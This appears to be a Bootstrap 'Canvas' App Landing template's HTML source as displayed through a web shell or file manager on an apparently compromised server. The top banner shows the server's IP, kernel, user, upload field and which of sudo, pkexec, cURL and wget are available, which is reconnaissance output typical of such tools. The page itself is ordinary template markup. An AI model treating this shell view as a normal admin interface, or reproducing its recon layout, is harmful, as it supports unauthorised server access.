| Server IP : 104.21.21.239 / Your IP : 216.73.216.11 Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5 System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64 User : ec2-user ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/home2/domains/nycyouth/Package-HTML/Canvas 7 Files/ |
Upload File : |
<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta http-equiv="x-ua-compatible" content="IE=edge">
<meta name="author" content="SemiColonWeb">
<meta name="description" content="Get Canvas to build powerful websites easily with the Highly Customizable & Best Selling Bootstrap Template, today.">
<!-- Font Imports -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,300;0,400;0,600;0,700;1,400&family=Montserrat:wght@400;700&family=Merriweather&display=swap" rel="stylesheet">
<!-- Core Style -->
<link rel="stylesheet" href="style.css">
<!-- Font Icons -->
<link rel="stylesheet" href="css/font-icons.css">
<link rel="stylesheet" href="one-page/css/et-line.css">
<!-- Plugins/Components CSS -->
<link rel="stylesheet" href="css/components/bs-switches.css">
<!-- Niche Demos -->
<link rel="stylesheet" href="demos/app-landing/app-landing.css">
<!-- Custom CSS -->
<link rel="stylesheet" href="css/custom.css">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Document Title
============================================= -->
<title>App Landing | Canvas</title>
</head>
<body class="stretched">
<!-- Document Wrapper
============================================= -->
<div id="wrapper">
<!-- Header
============================================= -->
<header id="header" class="transparent-header dark" data-sticky-class="not-dark" data-responsive-class="not-dark" data-sticky-logo-height="80" data-sticky-menu-padding="29">
<div id="header-wrap">
<div class="container">
<div class="header-row justify-content-lg-between">
<!-- Logo
============================================= -->
<div id="logo" class="col-auto order-lg-2 me-lg-0 px-0">
<a href="demo-app-landing.html">
<img class="logo-default" srcset="demos/app-landing/images/logo.png, demos/app-landing/images/[email protected] 2x" src="demos/app-landing/images/[email protected]" alt="Canvas Logo">
<img class="logo-dark" srcset="demos/app-landing/images/logo-dark.png, demos/app-landing/images/[email protected] 2x" src="demos/app-landing/images/[email protected]" alt="Canvas Logo">
</a>
</div><!-- #logo end -->
<div class="primary-menu-trigger">
<button class="cnvs-hamburger" type="button" title="Open Mobile Menu">
<span class="cnvs-hamburger-box"><span class="cnvs-hamburger-inner"></span></span>
</button>
</div>
<!-- Primary Navigation
============================================= -->
<nav class="primary-menu with-arrows col-lg-5 order-lg-1 px-0">
<ul class="menu-container one-page-menu" data-easing="easeInOutExpo" data-speed="1250" data-offset="160">
<li class="menu-item"><a class="menu-link" href="#" data-href="#slider"><div>Home</div></a></li>
<li class="menu-item"><a class="menu-link" href="#" data-href="#section-nextgen"><div>Explore</div></a>
<ul class="sub-menu-container" data-class="up-lg:not-dark">
<li class="menu-item"><a class="menu-link" href="#" data-href="#section-nextgen"><div>NextGen Framework</div></a></li>
<li class="menu-item"><a class="menu-link" href="#" data-href="#section-stunning-graphics"><div>Stunning Graphics</div></a></li>
<li class="menu-item"><a class="menu-link" href="#" data-href="#section-secured-solutions"><div>Secured Solutions</div></a></li>
</ul>
</li>
<li class="menu-item"><a class="menu-link" href="#" data-href="#section-pricing"><div>Pricing</div></a></li>
</ul>
</nav>
<nav class="primary-menu col-lg-5 order-lg-3 px-0">
<ul class="menu-container justify-content-lg-end one-page-menu" data-easing="easeInOutExpo" data-speed="1250" data-offset="160">
<li class="menu-item"><a class="menu-link" href="#" data-href="#section-faqs"><div>FAQs</div></a></li>
<li class="menu-item"><a class="menu-link" href="#" data-href="#section-gallery"><div>Gallery</div></a></li>
<li class="menu-item menu-item-emphasis"><a class="menu-link" href="#modal-login" data-lightbox="inline"><div>Login</div></a></li>
</ul>
</nav><!-- #primary-menu end -->
</div>
</div>
</div>
<div class="header-wrap-clone"></div>
</header><!-- #header end -->
<section id="slider" class="slider-element slider-parallax min-vh-60 min-vh-md-100 include-header">
<div class="slider-inner" style="background: url('demos/app-landing/images/hero/hero.jpg') center center no-repeat; background-size: cover;">
<div class="vertical-middle slider-element-fade">
<div class="container dark py-5 py-md-0">
<div class="row">
<div class="col-lg-6 col-md-8">
<div class="emphasis-title">
<h1 class="font-body">Beautiful Websites.<br>Increased Conversions.</h1>
</div>
<a href="#" data-scrollto="#section-pricing" data-easing="easeInOutExpo" data-speed="1250" data-offset="160" class="button button-large button-white button-light text-capitalize" style="border-radius: 23px;">Try it Free</a>
<a href="https://www.youtube.com/watch?v=N_r349riLEE" class="hero-action-link" data-lightbox="iframe"><i class="fa-solid fa-circle-play"></i> Watch the Video</a>
</div>
</div>
</div>
</div>
<div class="video-wrap">
<div class="video-overlay" style="background: rgba(0,0,0,0.2);"></div>
</div>
</div>
</section>
<!-- Content
============================================= -->
<section id="content">
<div class="content-wrap">
<!-- Modal -->
<div class="modal1 mfp-hide" id="modal-login">
<div class="block mx-auto" style="background-color: #FFF; max-width: 400px;">
<div style="padding: 50px;">
<h3 class="font-body">Login to your Account</h3>
<form action="#" method="post" class="row mb-0">
<div class="col-12 form-group">
<label class="font-body text-capitalize" for="login-form-modal-username">Username:</label>
<input type="text" id="login-form-modal-username" name="login-form-modal-username" value="" class="form-control">
</div>
<div class="col-12 form-group">
<label class="font-body text-capitalize" for="login-form-modal-password">Password:</label>
<input type="password" id="login-form-modal-password" name="login-form-modal-password" value="" class="form-control">
</div>
<div class="col-12 form-group">
<div class="d-flex justify-content-between">
<button class="button button-rounded m-0" id="login-form-modal-submit" name="login-form-modal-submit" value="login">Login</button>
<a href="#">Forgot Password?</a>
</div>
</div>
</form>
<div class="line line-sm"></div>
<a href="#" class="button rounded w-100 fw-normal text-center text-capitalize bg-facebook mx-0">Login with Facebook</a>
<a href="#" class="button rounded w-100 fw-normal text-center text-capitalize bg-google m-0">Login with Google</a>
</div>
</div>
</div>
<div class="container">
<div id="section-nextgen" class="page-section mb-6">
<div class="row">
<div class="col-lg-7 text-center">
<img src="demos/app-landing/images/section/iphone-watch.png" alt="NextGen Framework" data-animate="fadeInLeft">
</div>
<div class="col-lg-5">
<div class="mt-6 d-none d-lg-block"></div>
<img src="demos/app-landing/images/section/section-1-icon.png" alt="Image" class="d-block mb-4">
<div class="emphasis-title mb-4">
<span class="before-heading">Plug into the</span>
<h2 style="font-size: 42px;" class="font-body ls-1 fw-normal">NextGen Framework</h2>
</div>
<p style="color: #777;" class="lead">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Praesentium, vel! Eius pariatur nemo expedita.</p>
<a href="#" class="section-more-link">Learn More <i class="uil uil-angle-right-b"></i></a>
</div>
</div>
</div>
<div class="line"></div><div class="clear"></div>
<div id="section-stunning-graphics" class="page-section mt-5 mb-6">
<div class="row">
<div class="col-lg-5">
<div class="mt-6 d-none d-lg-block"></div>
<img src="demos/app-landing/images/section/section-2-icon.png" alt="Image" class="d-block mb-4">
<div class="emphasis-title mb-4">
<span class="before-heading">Retina Ready ~ 534 PPI</span>
<h2 style="font-size: 42px;" class="font-body ls-1 fw-normal">Stunning Graphics</h2>
</div>
<p style="color: #777;" class="lead">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Praesentium, vel! Eius pariatur nemo expedita.</p>
<a href="#" class="section-more-link">Learn More <i class="uil uil-angle-right-b"></i></a>
</div>
<div class="col-lg-7 text-center">
<img src="demos/app-landing/images/section/iphone-nexus.png" alt="Stunning Graphics" data-animate="fadeInRight">
</div>
</div>
</div>
<div class="line"></div><div class="clear"></div>
</div>
<div id="section-secured-solutions" class="page-section section p-0 mt-4" style="background: url('demos/app-landing/images/section/iphone-3d-bg.png') no-repeat left bottom; background-size: 100% auto;" data-height-lg="700" data-height-xs="450">
<div class="container">
<div class="row">
<div class="col-lg-5 offset-lg-6">
<div class="mt-6 d-none d-lg-block"></div>
<div class="mt-6 d-none d-lg-block"></div>
<img src="demos/app-landing/images/section/section-3-icon.png" alt="Image" class="d-block mb-4">
<div class="emphasis-title mb-4">
<span class="before-heading">Privacy Protected</span>
<h2 style="font-size: 42px;" class="font-body ls-1 fw-normal">Secured Solutions</h2>
</div>
<p style="color: #777;" class="lead">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Praesentium, vel! Eius pariatur nemo expedita.</p>
<a href="#" class="section-more-link">Learn More <i class="uil uil-angle-right-b"></i></a>
</div>
</div>
</div>
<div class="video-wrap" style="position: absolute; height: 100%; z-index: 1;">
<div class="video-overlay d-none d-lg-block" style="background: url('demos/app-landing/images/section/iphone-3d.png') no-repeat left top; background-size: auto 100%;" data-animate="fadeInLeft"></div>
</div>
</div>
<div class="clear mb-5"></div>
<div class="container">
<div id="section-pricing" class="page-section p-0 m-0">
<div class="pricing-tenure-switcher row align-items-center justify-content-center mb-4" data-container="#pricing-switch">
<span class="col-auto pts-left fw-bold text-muted">Monthly</span>
<div class="col-auto pts-switcher mx-2">
<div class="switch">
<input id="switch-toggle-pricing-tenure" class="switch-toggle switch-toggle-round" type="checkbox">
<label for="switch-toggle-pricing-tenure" class="mb-0"></label>
</div>
</div>
<span class="col-auto pts-right fw-bold text-muted">Yearly</span>
</div>
<div id="pricing-switch" class="pricing row col-mb-30 mb-5">
<div class="col-lg-4 col-md-6">
<div class="pricing-box text-center">
<div class="pricing-title text-uppercase">
<h3>Starter</h3>
</div>
<div class="pricing-price">
FREE<span class="price-tenure">Limited Access</span>
</div>
<div class="pricing-features border-0 bg-transparent">
<ul>
<li><strong>Full</strong> Access</li>
<li><i class="bi-braces"></i> Source Files</li>
<li><strong>100</strong> User Accounts</li>
<li><strong>1 Year</strong> License</li>
<li>Phone & Email Support</li>
</ul>
</div>
<div class="pricing-action">
<a href="#modal-get-started" data-lightbox="inline" data-pricing-plan="Starter Plan" class="button button-large button-rounded text-capitalize ls-0" style="border-radius: 23px;">Get Started</a>
</div>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="pricing-box text-center">
<div class="pricing-title text-uppercase">
<h3>Professional</h3>
</div>
<div class="pricing-price">
<div class="pts-switch-content-left"><span class="price-unit">$</span>12<span class="price-tenure">Monthly</span></div>
<div class="pts-switch-content-right"><span class="price-unit">$</span>99<span class="price-tenure">Yearly</span></div>
</div>
<div class="pricing-features border-0 bg-transparent">
<ul>
<li><strong>Full</strong> Access</li>
<li><i class="bi-braces"></i> Source Files</li>
<li><strong>1000</strong> User Accounts</li>
<li><strong>2 Years</strong> License</li>
<li><i class="bi-star-fill"></i>
<i class="bi-star-fill"></i>
<i class="bi-star-fill"></i>
<i class="bi-star-fill"></i>
<i class="bi-star-fill"></i></li>
</ul>
</div>
<div class="pricing-action">
<div class="pts-switch-content-left"><a href="#modal-get-started" data-lightbox="inline" data-pricing-plan="Professional Monthly Plan" class="button button-large button-rounded text-capitalize ls-0" style="border-radius: 23px;">Start Free Trial</a></div>
<div class="pts-switch-content-right"><a href="#modal-get-started" data-lightbox="inline" data-pricing-plan="Professional Yearly Plan" class="button button-large button-rounded text-capitalize ls-0" style="border-radius: 23px;">Start Free Trial</a></div>
</div>
</div>
</div>
<div class="col-lg-4 offset-lg-0 col-md-6 offset-md-3">
<div class="pricing-box text-center">
<div class="pricing-title text-uppercase">
<h3>Business</h3>
</div>
<div class="pricing-price">
<div class="pts-switch-content-left"><span class="price-unit">$</span>19<span class="price-tenure">Monthly</span></div>
<div class="pts-switch-content-right"><span class="price-unit">$</span>149<span class="price-tenure">Yearly</span></div>
</div>
<div class="pricing-features border-0 bg-transparent">
<ul>
<li><strong>Full</strong> Access</li>
<li><i class="bi-braces"></i> Source Files</li>
<li><strong>500</strong> User Accounts</li>
<li><strong>3 Years</strong> License</li>
<li>Phone & Email Support</li>
</ul>
</div>
<div class="pricing-action">
<div class="pts-switch-content-left"><a href="#modal-get-started" data-lightbox="inline" data-pricing-plan="Business Monthly Plan" class="button button-large button-rounded text-capitalize ls-0" style="border-radius: 23px;">Start Free Trial</a></div>
<div class="pts-switch-content-right"><a href="#modal-get-started" data-lightbox="inline" data-pricing-plan="Business Yearly Plan" class="button button-large button-rounded text-capitalize ls-0" style="border-radius: 23px;">Start Free Trial</a></div>
</div>
</div>
</div>
</div>
<!-- Modal -->
<div class="modal1 mfp-hide" id="modal-get-started">
<div class="block mx-auto" style="background-color: #FFF; max-width: 800px;">
<div class="form-widget p-5" data-loader="button">
<div class="form-result"></div>
<form action="#" id="get-started-form" method="post" class="mb-0">
<div class="row">
<div class="col-md-8">
<h3 class="font-body">Register for an Account</h3>
</div>
<div class="col-md-4">
<div id="modal-get-started-package"></div>
</div>
</div>
<div class="row">
<div class="col-md-6 form-group">
<label class="font-body text-capitalize" for="get-started-form-username">Choose Username:</label>
<input type="text" id="get-started-form-username" name="get-started-form-username" value="" class="form-control required no-error-msg">
</div>
<div class="col-md-6 form-group">
<label class="font-body text-capitalize" for="get-started-form-email">Your Email:</label>
<input type="email" id="get-started-form-email" name="get-started-form-email" value="" class="form-control required email no-error-msg">
</div>
<div class="w-100"></div>
<div class="col-md-6 form-group">
<label class="font-body text-capitalize" for="get-started-form-password">Choose Password:</label>
<input type="password" id="get-started-form-password" name="get-started-form-password" value="" class="form-control required no-error-msg">
</div>
<div class="col-md-6 form-group">
<label class="font-body text-capitalize" for="get-started-form-password">Retype Password:</label>
<input type="password" id="get-started-form-repassword" name="get-started-form-repassword" value="" class="form-control required no-error-msg">
</div>
<!-- Package Selector Hidden Input Value Setter -->
<input type="hidden" id="get-started-form-package" name="get-started-form-package" value="Free">
<div class="col-12 form-group">
<label>
<input type="checkbox" id="get-started-form-agree" name="get-started-form-agree" value="1" style="position: relative; top: 2px; margin-right: 5px;"> I Agree to the Terms & Conditions
</label>
</div>
<div class="col-12 form-group">
<div class="d-flex justify-content-between">
<button class="button button-rounded m-0" id="get-started-form-submit" name="get-started-form-submit" value="login">Get Started</button>
<a href="#" data-scrollto="#section-pricing" data-easing="easeInOutExpo" data-speed="1250" data-offset="160" onClick="jQuery.magnificPopup.close();">Change Plan?</a>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="clear"></div>
<div id="section-faqs" class="page-section pt-5 mb-0">
<h2 class="text-start text-md-center font-body mb-6">Frequently Asked Questions</h2>
<div class="row g-4">
<div class="col-lg-5 offset-lg-1 col-md-6">
<h4 class="font-body" style="margin-bottom:15px;">How do I become an author?</h4>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Assumenda, dolorum, vero ipsum molestiae minima odio quo voluptate illum excepturi quam cum voluptates doloribus quae nisi.</p>
</div>
<div class="col-lg-5 col-md-6">
<h4 class="font-body" style="margin-bottom:15px;">Helpful Resources for Authors</h4>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Explicabo, placeat, architecto rem dolorem dignissimos repellat veritatis in et eos doloribus magnam aliquam ipsa alias assumenda officiis quasi sapiente suscipit.</p>
</div>
<div class="col-lg-5 offset-lg-1 col-md-6">
<h4 class="font-body" style="margin-bottom:15px;">How much money can I make?</h4>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Possimus, fugiat iste nisi tempore nesciunt nemo fuga? Nesciunt, delectus laboriosam nisi repudiandae nam fuga saepe animi recusandae.</p>
</div>
<div class="col-lg-5 col-md-6">
<h4 class="font-body" style="margin-bottom:15px;">Can I offer my items for free on a promotional basis?</h4>
<p>Laboriosam iusto quia nulla ad voluptatibus iste beatae voluptas corrupti facilis accusamus recusandae sequi debitis reprehenderit quibusdam. Facilis eligendi a exercitationem nisi et placeat excepturi velit!</p>
</div>
<div class="col-lg-5 offset-lg-1 col-md-6">
<h4 class="font-body" style="margin-bottom:15px;">An Introduction to the Marketplaces for Authors</h4>
<p>Quisquam atque vero delectus corrupti! Quo, maiores, dolorem, hic commodi nulla ratione accusamus doloribus fuga magnam id temporibus dignissimos deleniti quidem ipsam corporis sapiente nam expedita saepe quas ab? Vero, assumenda.</p>
</div>
<div class="col-lg-5 col-md-6">
<h4 class="font-body" style="margin-bottom:15px;">How does the Tuts+ Premium affiliate program work?</h4>
<p class="mb-0">Reprehenderit similique nemo voluptate ullam natus illum magnam alias nobis doloremque delectus ipsa dicta repellat maxime dignissimos eveniet quae debitis ratione assumenda tempore officiis fugiat dolor.</p>
</div>
</div>
</div>
</div>
<div class="section mb-6" style="background-color: #F8FAFB; border-top: 1px solid #E5E5E5; border-bottom: 1px solid #E5E5E5;">
<div class="fslider testimonial testimonial-full text-center" data-animation="fade" style="max-width: none;">
<div class="flexslider">
<div class="slider-wrap">
<div class="slide">
<div class="row mx-auto mw-xs">
<div class="col-12">
<img class="rounded-circle mx-auto w-auto mb-4" src="images/testimonials/1.jpg" width="64" height="64" alt="Customer Testimonails">
<h3 class="mb-4 font-secondary text-dark text-opacity-75" style="line-height: 1.65;">Seamlessly conceptualize multimedia based web services for optimal human capital. Collaboratively evisculate e-business value.</h3>
</div>
<div class="d-flex align-items-center justify-content-center">
<div>
<h4 class="h6 mb-0 fw-medium">Siri Alexa</h4>
<small class="text-muted">Apple Inc.</small>
</div>
</div>
</div>
</div>
<div class="slide">
<div class="row mx-auto mw-xs">
<div class="col-12">
<img class="rounded-circle mx-auto w-auto mb-4" src="images/testimonials/1.jpg" width="64" height="64" alt="Customer Testimonails">
<h3 class="mb-4 font-secondary text-dark text-opacity-75" style="line-height: 1.65;">Seamlessly conceptualize multimedia based web services for optimal human capital. Collaboratively evisculate e-business value.</h3>
</div>
<div class="d-flex align-items-center justify-content-center">
<div>
<h4 class="h6 mb-0 fw-medium">Siri Alexa</h4>
<small class="text-muted">Apple Inc.</small>
</div>
</div>
</div>
</div>
<div class="slide">
<div class="row mx-auto mw-xs">
<div class="col-12">
<img class="rounded-circle mx-auto w-auto mb-4" src="images/testimonials/1.jpg" width="64" height="64" alt="Customer Testimonails">
<h3 class="mb-4 font-secondary text-dark text-opacity-75" style="line-height: 1.65;">Seamlessly conceptualize multimedia based web services for optimal human capital. Collaboratively evisculate e-business value.</h3>
</div>
<div class="d-flex align-items-center justify-content-center">
<div>
<h4 class="h6 mb-0 fw-medium">Siri Alexa</h4>
<small class="text-muted">Apple Inc.</small>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
<div id="section-gallery" class="page-section p-0 m-0">
<div class="container mt-5 mb-6 text-center">
<h3 class="ls-1 fw-normal" style="font-size: 32px; margin-bottom: 10px;">App Screenshots</h3>
<p class="lead mx-auto" style="max-width: 600px">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Id, repellendus quae fuga ad, beatae odit.</p>
<a href="#" class="button button-circle text-capitalize">Check All</a>
</div>
<div class="owl-carousel owl-carousel-full image-carousel carousel-widget mb-5" data-margin="20" data-center="true" data-loop="false" data-nav="false" data-pagi="true" data-items-xs="2" data-items-sm="2" data-items-md="4" data-items-lg="4" data-items-xl="6" data-stage-padding="30" data-lightbox="gallery">
<div class="oc-item">
<a data-lightbox="gallery-item" href="demos/app-landing/images/gallery/img-1.jpg"><img src="demos/app-landing/images/gallery/img-1.jpg" alt="Image 1"></a>
</div>
<div class="oc-item">
<a data-lightbox="gallery-item" href="demos/app-landing/images/gallery/img-2.jpg"><img src="demos/app-landing/images/gallery/img-2.jpg" alt="Image 2"></a>
</div>
<div class="oc-item">
<a data-lightbox="gallery-item" href="demos/app-landing/images/gallery/img-3.jpg"><img src="demos/app-landing/images/gallery/img-3.jpg" alt="Image 3"></a>
</div>
<div class="oc-item">
<a data-lightbox="gallery-item" href="demos/app-landing/images/gallery/img-4.jpg"><img src="demos/app-landing/images/gallery/img-4.jpg" alt="Image 4"></a>
</div>
<div class="oc-item">
<a data-lightbox="gallery-item" href="demos/app-landing/images/gallery/img-5.jpg"><img src="demos/app-landing/images/gallery/img-5.jpg" alt="Image 5"></a>
</div>
<div class="oc-item">
<a data-lightbox="gallery-item" href="demos/app-landing/images/gallery/img-6.jpg"><img src="demos/app-landing/images/gallery/img-6.jpg" alt="Image 5"></a>
</div>
<div class="oc-item">
<a data-lightbox="gallery-item" href="demos/app-landing/images/gallery/img-7.jpg"><img src="demos/app-landing/images/gallery/img-7.jpg" alt="Image 5"></a>
</div>
</div>
</div>
<div class="section py-4" style="color: #999; background-color: #F8FAFB; border-top: 1px solid #E5E5E5; border-bottom: 1px solid #E5E5E5;">
<div class="container">
<div class="row mt-6 g-5 mb-6">
<div class="col-lg-4">
<i class="i-plain i-large icon-et-browser inline-block mb-4" style="color: #999;"></i>
<div class="heading-block border-bottom-0 mb-3">
<h4 class="fs-6">Cross Browser</h4>
</div>
<p style="line-height: 26px;">Canvas 4 Loads Faster & Smoother than the Previous Versions providing an Optimal Experience for your Users.</p>
</div>
<div class="col-lg-4">
<i class="i-plain i-large icon-et-adjustments inline-block mb-4" style="color: #999;"></i>
<div class="heading-block border-bottom-0 mb-3">
<h4 class="fs-6">Flexible Options</h4>
</div>
<p style="line-height: 26px;">Unleash the Power of Mega Menus by adding Widgets & Mixed Columns powered by the Bootstrap Grid.</p>
</div>
<div class="col-lg-4">
<i class="i-plain i-large icon-et-calendar inline-block mb-4" style="color: #999;"></i>
<div class="heading-block border-bottom-0 mb-3">
<h4 class="fs-6">Scheduled Backups</h4>
</div>
<p style="line-height: 26px;">Amazing set of New Components giving you Opportunity to Create an Interactive Website for your Business.</p>
</div>
<div class="col-lg-4">
<i class="i-plain i-large icon-et-desktop inline-block mb-4" style="color: #999;"></i>
<div class="heading-block border-bottom-0 mb-3">
<h4 class="fs-6">Responsive Ready</h4>
</div>
<p style="line-height: 26px;">Convert any Grid to an Isotope Grid easily with Filterable Options making it extremely flexible and powerful.</p>
</div>
<div class="col-lg-4">
<i class="i-plain i-large icon-et-bargraph inline-block mb-4" style="color: #999;"></i>
<div class="heading-block border-bottom-0 mb-3">
<h4 class="fs-6">Increased Conversions</h4>
</div>
<p style="line-height: 26px;">Display an Alternate Lighter Menu on Responsive Devices with the same Markup Code as before. Awesomely Useful.</p>
</div>
<div class="col-lg-4">
<i class="i-plain i-large icon-et-cloud inline-block mb-4" style="color: #999;"></i>
<div class="heading-block border-bottom-0 mb-3">
<h4 class="fs-6">Cloud Sharing</h4>
</div>
<p style="line-height: 26px;">Added SPAM Protection for your Precious Forms so that you receive Emails only from Authentic Real Users.</p>
</div>
</div>
</div>
</div>
<div class="section text-center mb-0 bg-transparent">
<div class="container">
<h3 class="ls-1 fw-normal" style="font-size: 32px;">Experienced & Trusted by <span>50,000+</span> People worldwide</h3>
<a href="#modal-login" data-lightbox="inline" class="button button-large button-black text-capitalize" style="border-radius: 23px;">Login Now</a>
<a href="#" data-scrollto="#section-pricing" data-easing="easeInOutExpo" data-speed="1250" data-offset="160" class="button button-large text-capitalize" style="border-radius: 23px;">Try it Free</a>
<div class="clear mb-5"></div>
</div>
</div>
<div class="section mt-0 footer-stick" style="padding: 10px 0; background-color: #F8FAFB; border-top: 1px solid #E5E5E5;">
<div class="container">
<div class="row">
<div class="col-lg-4">
<div class="app-footer-features"><i class="bi-globe-alt"></i><h5 class="font-body"><a href="#">Free Training</a><span> & 24-hour coverage</span></h5></div>
</div>
<div class="col-lg-4">
<div class="app-footer-features"><i class="bi-journal"></i><h5 class="font-body"><a href="#">99.99% Uptime</a><span> the last 12 months</span></h5></div>
</div>
<div class="col-lg-4">
<div class="app-footer-features"><i class="bi-lock"></i><h5 class="font-body"><span>Serious about</span> <a href="#">Security</a> <span>&</span> <a href="#">Privacy</a></h5></div>
</div>
</div>
</div>
</div>
</div>
</section><!-- #content end -->
<!-- Footer
============================================= -->
<footer id="footer" style="background-color: #FFF;">
<div class="container">
<!-- Footer Widgets
============================================= -->
<div class="footer-widgets-wrap">
<div class="row">
<div class="col-lg-5">
<div class="widget">
<div class="row">
<div class="col-lg-8 mb-5" style="color:#888;">
<img src="demos/app-landing/images/footer-logo.png" alt="Canvas Logo" class="d-block mb-4">
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Odio, consequatur facere molestiae iusto atque.</p>
<a href="#" class="social-icon si-small border-0 rounded-circle text-light bg-facebook">
<i class="fa-brands fa-facebook-f"></i>
<i class="fa-brands fa-facebook-f"></i>
</a>
<a href="#" class="social-icon si-small border-0 rounded-circle text-light bg-twitter">
<i class="fa-brands fa-twitter"></i>
<i class="fa-brands fa-twitter"></i>
</a>
<a href="#" class="social-icon si-small border-0 rounded-circle text-light bg-google">
<i class="fa-brands fa-google"></i>
<i class="fa-brands fa-google"></i>
</a>
<a href="#" class="social-icon si-small border-0 rounded-circle text-light bg-pinterest">
<i class="fa-brands fa-pinterest-p"></i>
<i class="fa-brands fa-pinterest-p"></i>
</a>
<a href="#" class="social-icon si-small border-0 rounded-circle text-light bg-vimeo">
<i class="fa-brands fa-vimeo-v"></i>
<i class="fa-brands fa-vimeo-v"></i>
</a>
</div>
</div>
</div>
</div>
<div class="col-lg-7">
<div class="row g-5">
<div class="col-6 col-lg-4">
<div class="widget widget_links widget-li-noicon app_landing_widget_link">
<h4>In News</h4>
<ul>
<li><a href="https://codex.wordpress.org/">Documentation</a></li>
<li><a href="https://wordpress.org/support/forum/requests-and-feedback">Feedback</a></li>
<li><a href="https://wordpress.org/extend/plugins/">Plugins</a></li>
<li><a href="https://wordpress.org/support/">Support Forums</a></li>
<li><a href="https://wordpress.org/extend/themes/">Themes</a></li>
</ul>
</div>
</div>
<div class="col-6 col-lg-4">
<div class="widget widget_links widget-li-noicon app_landing_widget_link">
<h4>About Us</h4>
<ul>
<li><a href="https://codex.wordpress.org/">Documentation</a></li>
<li><a href="https://wordpress.org/support/forum/requests-and-feedback">Feedback</a></li>
<li><a href="https://wordpress.org/extend/plugins/">Plugins</a></li>
<li><a href="https://wordpress.org/support/">Support Forums</a></li>
<li><a href="https://wordpress.org/extend/themes/">Themes</a></li>
</ul>
</div>
</div>
<div class="col-6 col-lg-4">
<div class="widget widget_links widget-li-noicon app_landing_widget_link">
<h4>Support</h4>
<ul>
<li><a href="https://codex.wordpress.org/">Documentation</a></li>
<li><a href="https://wordpress.org/support/forum/requests-and-feedback">Feedback</a></li>
<li><a href="https://wordpress.org/extend/plugins/">Plugins</a></li>
<li><a href="https://wordpress.org/support/">Support Forums</a></li>
<li><a href="https://wordpress.org/extend/themes/">Themes</a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Copyrights
============================================= -->
<div id="copyrights" class="bg-transparent pt-0">
<div class="container">
<div class="w-100 text-center text-md-start">
Copyrights © 2023 All Rights Reserved by Canvas Inc.<br>
<div class="copyright-links"><a href="#">Terms of Use</a> / <a href="#">Privacy Policy</a></div>
</div>
</div>
</div><!-- #copyrights end -->
</footer><!-- #footer end -->
</div><!-- #wrapper end -->
<!-- Go To Top
============================================= -->
<div id="gotoTop" class="uil uil-angle-up"></div>
<!-- JavaScripts
============================================= -->
<script src="js/jquery.js"></script>
<script src="js/functions.js"></script>
<script>
jQuery(document).ready( function(){
jQuery('[data-pricing-plan]').click( function(){
jQuery('#get-started-form').find('#get-started-form-package').val( jQuery(this).attr('data-pricing-plan') );
jQuery('#get-started-form').find('#modal-get-started-package').html( jQuery(this).attr('data-pricing-plan') );
});
});
</script>
</body>
</html>